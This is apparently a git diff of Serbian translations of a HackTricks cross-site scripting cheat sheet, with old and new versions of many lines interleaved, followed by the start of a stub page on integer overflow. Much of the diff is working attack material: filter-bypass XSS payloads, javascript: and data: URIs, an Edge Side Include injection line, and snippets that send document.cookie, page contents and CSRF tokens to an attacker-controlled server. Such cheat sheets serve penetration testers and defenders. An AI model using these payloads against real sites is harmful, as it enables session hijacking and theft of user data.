|
||||
## Ubacivanje unutar HTML taga
|
||||
|
||||
### Unutar taga/izlazak iz vrednosti atributa
|
||||
|
||||
Ako ste **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) za izvršavanje JS koda.\
|
||||
Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (_napomena da u ovom primeru dvostruki navodnici se koriste za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
|
||||
Ako se nalazite **unutar HTML taga**, prvo što možete pokušati je da **izađete** iz taga i koristite neke od tehnika navedenih u [prethodnom odeljku](./#injecting-inside-raw-html) kako biste izvršili JS kod.\
|
||||
Ako **ne možete izaći iz taga**, možete kreirati nove atribute unutar taga kako biste pokušali da izvršite JS kod, na primer koristeći neki payload kao (_napomena da su u ovom primeru dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -309,7 +305,7 @@ Imajte na umu da je **svaka vrsta HTML enkodiranja validna**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Posebni protokoli unutar atributa
|
||||
### Specijalni protokoli unutar atributa
|
||||
|
||||
Ovde možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da **izvršite proizvoljan JS kod**. Neke će zahtevati interakciju korisnika, a neke neće.
|
||||
```javascript
|
||||
|
@ -333,7 +329,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Mesta gde možete ubaciti ove protokole**
|
||||
|
||||
**Uopšteno**, `javascript:` protokol se može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
**Uopšteno** se `javascript:` protokol može **koristiti u bilo kom tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -359,13 +355,13 @@ _**U ovom slučaju, trikovi enkodiranja HTML-a i Unicode enkodiranja iz prethodn
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Osim toga, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako trebate da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**.
|
||||
Osim toga, postoji još jedan **lep trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL enkodiran, biće dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **stringa** koristeći **jednostruki navodnik** i primetite da je **URL enkodiran**, zapamtite da **nije važno,** biće **interpretiran** kao **jednostruki navodnik** tokom **izvršavanja**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Imajte na umu da ako pokušate **koristiti i** `URLencode + HTMLencode` u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
|
||||
Napomena da ako pokušate **koristiti i URLencode + HTMLencode** u bilo kom redosledu za enkodiranje **payload-a**, to **neće** **raditi**, ali možete **ih mešati unutar payload-a**.
|
||||
|
||||
**Korišćenje heksadecimalnog i oktalnog enkodiranja sa `javascript:`**
|
||||
|
||||
|
@ -391,9 +387,9 @@ Ako možete ubaciti bilo koji URL u proizvoljni **`<a href=`** tag koji sadrži
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Bypass na događajne rukovaoca
|
||||
### o Bypass događajnih rukovaoca
|
||||
|
||||
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoca**.\
|
||||
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" događajne rukovaoce**.\
|
||||
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -432,13 +428,13 @@ Od [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
|
|||
|
||||
### Bypass-ovi crne liste
|
||||
|
||||
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se da saznate gde možete koristiti:
|
||||
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se **nazad da biste saznali gde možete koristiti:**
|
||||
|
||||
* **HTML enkodiranje (HTML tagovi)**
|
||||
* **Unicode enkodiranje (može biti validan JS kod):** `\u0061lert(1)`
|
||||
* **URL enkodiranje**
|
||||
* **Hex i Oktalno enkodiranje**
|
||||
* **data enkodiranje**
|
||||
* **Heksadecimalno i oktalno enkodiranje**
|
||||
* **Data enkodiranje**
|
||||
|
||||
**Bypass-ovi za HTML tagove i atribute**
|
||||
|
||||
|
@ -478,23 +474,22 @@ Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflektovani podaci'
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
|
||||
Imajte na umu da u ovom primeru **čak nismo zatvorili jednostruki navodnik**. To je zato što se **parsiranje HTML-a prvo vrši od strane pregledača**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti vrši se tek nakon toga.
|
||||
|
||||
### Unutar JS koda
|
||||
|
||||
Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
|
||||
Ako se `<>` dezinfikuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti sintaksu JS-a**, jer ako postoje greške, JS kod neće biti izvršen:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Šablonski literali \`\`
|
||||
### Šablon literali \`\`
|
||||
|
||||
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablonski literali jer omogućavaju da se **ugrađeni JS izrazi** koriste pomoću sintakse `${ ... }`.
|
||||
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `** . Ovo je poznato kao šablon literali jer omogućavaju da se **ugrađuju JS izrazi** koristeći sintaksu `${ ... }` .\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **proizvoljan JS kod**:
|
||||
|
||||
Dakle, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da biste izvršili **proizvoljni JS kod**:
|
||||
|
||||
Ovo se može **zloupotrebiti** korišćenjem:
|
||||
Ovo se može **zloupotrebiti** koristeći:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -512,7 +507,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Unicode kodiranje JS izvršavanja
|
||||
### Unicode Kodiranje JS izvršavanja
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -736,7 +731,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOM ranjivosti**
|
||||
|
||||
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.\
|
||||
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
|
||||
**Zbog proširenja objašnjenja** [**DOM ranjivosti premešteno je na ovu stranicu**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
@ -750,15 +745,15 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
|
|||
|
||||
### Normalizovani Unicode
|
||||
|
||||
Možete proveriti da li se **reflektovane vrednosti** normalizuju u unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Možete proveriti da li se **reflektovane vrednosti** normalizuju u Unicode formatu na serveru (ili na strani klijenta) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Bypassovanje Ruby-On-Rails
|
||||
### Ruby-On-Rails zaobilazak
|
||||
|
||||
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se ograničenje navodnika zaobilazi i dodaju se dodatna polja (onfocus) unutar taga.\
|
||||
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodaju se dodatna polja (onfocus) unutar taga.\
|
||||
Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -801,18 +796,19 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS sa ubacivanjem zaglavlja u 302 odgovoru
|
||||
|
||||
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.
|
||||
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor**, možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je sam XSS payload beskoristan.
|
||||
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.\
|
||||
Prethodno poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da inspicira i izvrši XSS payload unutar tela.
|
||||
|
||||
### Samo Slova, Brojevi i Tačke
|
||||
Prošli poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno zaglavlje Lokacija_, `resource://`.
|
||||
|
||||
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere. [**Pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje.
|
||||
### Samo slova, brojevi i tačke
|
||||
|
||||
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere, [**pročitajte ovaj odeljak ovog posta**](./#javascript-function) da biste saznali kako iskoristiti ovaj ponašanje.
|
||||
|
||||
### Validni `<script>` Content-Type-ovi za XSS
|
||||
|
||||
(Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
|
||||
(Od [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate učitati skript sa **content-type**-om poput `application/octet-stream`, Chrome će prikazati sledeću grešku:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
|
@ -846,7 +842,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
Odgovor je:
|
||||
|
||||
* **modul** (podrazumevano, nema šta da se objasni)
|
||||
* **modul** (podrazumevano, ništa posebno za objašnjavanje)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u **`.wbn`** fajl.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
|
@ -874,9 +870,9 @@ import moment from "moment";
|
|||
import { partition } from "lodash";
|
||||
</script>
|
||||
```
|
||||
Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/tree/master/solution) da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
|
||||
Ovo ponašanje je korišćeno u [**ovom writeup-u**](https://github.com/zwade/yaca/tree/master/solution) da bi se preusmerila biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcionalnost je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -892,9 +888,9 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Vrste web sadržaja za XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeće vrste sadržaja mogu izvršiti XSS u svim pregledačima:
|
||||
(From [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -905,11 +901,11 @@ Ovo ponašanje je korišćeno u [**ovom opisu**](https://github.com/zwade/yaca/t
|
|||
* application/rss+xml (isključeno)
|
||||
* application/atom+xml (isključeno)
|
||||
|
||||
U drugim pregledačima druge **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
U drugim pregledačima se mogu koristiti i drugi **`Content-Types`** za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### xml Tip sadržaja
|
||||
|
||||
Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
|
||||
Ako stranica vraća content-type text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -917,19 +913,19 @@ Ako stranica vraća sadržaj sa content-type text/xml, moguće je naznačiti nam
|
|||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Posebni obrasci zamene
|
||||
### Posebni šabloni zamene
|
||||
|
||||
Kada se koristi nešto poput **`"neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)`**, napadač može koristiti [**posebne zamene niski**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) da pokuša da zaobiđe neke zaštite: ``"123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))``
|
||||
|
||||
Na primer, u [**ovom objašnjenju**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da **izbegne JSON nisku** unutar skripte i izvrši proizvoljan kod.
|
||||
|
||||
### Chrome keširanje za XSS
|
||||
### Chrome Keš do XSS
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XS Jails bekstvo
|
||||
### XS Jails Bekstvo
|
||||
|
||||
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
|
||||
```javascript
|
||||
|
@ -1057,14 +1053,22 @@ trigger()
|
|||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## XSS zajednički payload-ovi
|
||||
## XSS uobičajeni payload-ovi
|
||||
|
||||
### Više payload-ova u 1
|
||||
### Više payload-a u 1
|
||||
|
||||
{% content-ref url="steal-info-js.md" %}
|
||||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Iframe zamka
|
||||
|
||||
Naterajte korisnika da se kreće po stranici bez napuštanja iframe-a i da ukrade njegove akcije (uključujući informacije poslate u formama):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Preuzimanje kolačića
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1088,7 +1092,7 @@ trigger()
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Ako je postavljen HTTPOnly flag na kolačiću, **nećete moći pristupiti kolačićima iz JavaScript-a**. Ali evo [nekih načina za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće.
|
||||
Nećete moći da pristupite kolačićima iz JavaScript-a ako je postavljen HTTPOnly flag u kolačiću. Ali ovde imate [neke načine za zaobilaženje ove zaštite](../hacking-with-cookies/#httponly) ako imate dovoljno sreće.
|
||||
{% endhint %}
|
||||
|
||||
### Ukradi sadržaj stranice
|
||||
|
@ -1104,7 +1108,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
xhr.open('GET', url, true);
|
||||
xhr.send(null);
|
||||
```
|
||||
### Pronalaženje internih IP adresa
|
||||
### Pronađite interne IP adrese
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1197,7 +1201,7 @@ Samo pretražujući na github-u pronašao sam nekoliko različitih:
|
|||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* Takođe možete koristiti metasploit `http_javascript_keylogger`
|
||||
* Možete takođe koristiti metasploit `http_javascript_keylogger`
|
||||
|
||||
### Krađa CSRF tokena
|
||||
```javascript
|
||||
|
@ -1282,7 +1286,7 @@ Možete takođe koristiti: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Pristup skrivenom sadržaju
|
||||
|
||||
Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) je moguće naučiti da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a je i dalje moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
|
||||
Iz [**ovog objašnjenja**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) moguće je saznati da čak i ako neke vrednosti nestanu iz JS-a, i dalje je moguće pronaći ih u JS atributima u različitim objektima. Na primer, unos REGEX-a i dalje je moguće pronaći nakon što je vrednost unosa REGEX-a uklonjena:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1311,9 +1315,9 @@ Možete ubaciti Markdown kod koji će biti prikazan? Možda možete dobiti XSS!
|
|||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS ka SSRF
|
||||
### XSS ka SSRF-u
|
||||
|
||||
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **unaprediti to u SSRF** kroz ubacivanje Edge Side Include Injection sa ovim payload-om:
|
||||
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **nadograditi to na SSRF** putem ubacivanja Edge Side Include Injection sa ovim payload-om:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1329,7 +1333,7 @@ Dakle, ako **PDF kreator bot pronađe** neke vrste **HTML** **tagova**, on će i
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ako ne možete ubaciti HTML tagove, vredno je pokušati da **ubacite PDF podatke**:
|
||||
Ako ne možete da ubacite HTML tagove, vredno je pokušati da **ubacite PDF podatke**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1341,7 +1345,7 @@ AMP, sa ciljem ubrzanja performansi veb stranica na mobilnim uređajima, uključ
|
|||
|
||||
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje određene AMP komponente na e-poštu, omogućavajući primaocima da direktno interaguju sa sadržajem unutar svojih e-poruka.
|
||||
|
||||
Primer [**writeup XSS u Amp4Email-u u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Primer [**izveštaja o XSS-u u Amp4Email-u u Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS otpremanje fajlova (svg)
|
||||
|
||||
|
@ -1401,9 +1405,9 @@ id="foo"/>
|
|||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Pronađi **više SVG payloada na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Razne JS Trikovi & Relevantne Informacije
|
||||
## Razne JS Trikove & Relevantne Informacije
|
||||
|
||||
{% content-ref url="other-js-tricks.md" %}
|
||||
[other-js-tricks.md](other-js-tricks.md)
|
||||
|
@ -1417,19 +1421,19 @@ Pronađite **više SVG opterećenja na** [**https://github.com/allanlw/svg-cheat
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pismenoj i usmenoj formi_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Prekoračenje celobrojnog tipa
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Proverite:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
